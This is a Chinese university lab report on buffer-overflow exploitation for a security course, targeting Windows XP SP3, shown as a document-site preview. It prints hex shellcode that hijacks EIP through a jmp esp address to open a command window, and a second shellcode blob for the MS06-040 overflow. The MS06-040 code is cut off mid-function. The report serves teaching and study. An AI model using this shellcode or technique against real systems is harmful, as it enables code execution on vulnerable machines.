缓冲区溢出实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

华中科技大学计算机学院《信息系统应用安全》实验报告

实验名称缓冲区溢出实验

团队成员:

注:团队成员贡献百分比之和为1

教师评语:

一.实验环境

⏹操作系统:Windows XP SP3

⏹编译平台:Visual C++ 6.0

⏹调试环境:OllyDbg

二.实验目的

1.掌握缓冲区溢出的原理;

2.掌握缓冲区溢出漏洞的利用技巧;

3.理解缓冲区溢出漏洞的防范措施。

三.实验内容及步骤

1.缓冲区溢出漏洞产生的的基本原理和攻击方法

⏹缓冲区溢出模拟程序

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode

#include "string.h"

#include "stdio.h"

#include

char name[]=

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41" ///覆盖ebp

"\x12\x45\xfa\x7f" ////覆盖eip, jmp esp地址7ffa4512

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"

"\x8d\x45\xf4\x50\xb8"

"\x77\x1d\x80\x7c" // LoadLibraryW的地址

"\xff\xd0"

"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"

"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"

"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"

"\xba"

"\xc7\x93\xbf\x77" // System 的地址

"\xff\xd2";

int main()

{

char output[8];

strcpy(output, name);

for(int i=0;i<8&&output[i];i++)

{

printf("\\0x%x",output[i]);

}

printf("\n");

return 0;

}

由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。该shellcode,运行命令窗口。

2.MS06-040 缓冲区溢出漏洞分析和利用

溢出点定位

#include

typedef void (*MYPROC)(LPTSTR);

int main()

{

char arg_1[0x320];

char arg_2[0x440];

可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。

漏洞利用

#include

typedef void (*MYPROC)(LPTSTR);

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"

"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"

"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"

"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"

"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"

"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"

"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"

"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"

"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"

"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"

"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main()

{

char arg_1[0x320];

char arg_2[0x440];

int arg_3=0x440;

char arg_4[0x100];

long arg_5=44;

相关文档
最新文档